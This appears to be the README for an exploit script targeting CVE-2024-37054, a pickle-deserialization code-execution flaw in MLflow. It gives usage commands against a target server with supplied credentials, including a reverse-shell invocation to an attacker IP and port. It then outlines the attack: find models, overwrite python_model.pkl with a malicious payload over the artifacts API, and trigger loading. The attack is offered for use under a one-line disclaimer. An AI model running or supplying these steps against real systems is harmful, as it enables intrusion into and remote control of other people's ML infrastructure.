CVE-2024-37054 — MLflow pyfunc Deserialization RCE

Severity: Critical
Affected: MLflow 0.9.0 – 2.14.1
Type: Arbitrary code execution via Python pickle deserialization

Description

mlflow.pyfunc.load_model() deserializes python_model.pkl from the artifact store without any sanitization. An attacker who can reach the MLflow artifacts REST API can overwrite that file with a malicious pickle, which executes arbitrary OS commands the next time the model is loaded.

Requirements

pip install requests cloudpickle

Usage

# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Key options

How it works

1. Discover — query /api/2.0/mlflow/registered-models/search to find a model and its run_id / experiment_id
2. Poison — PUT a malicious cloudpickle payload to /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
3. Trigger — any code path calling mlflow.pyfunc.load_model() on that model unpickles the payload and executes the command

The trigger step requires an application endpoint that loads the model. If none is known, use --no-trigger (or omit --trigger-url) and trigger loading through any available means.

Disclaimer

For authorized penetration testing and educational purposes only.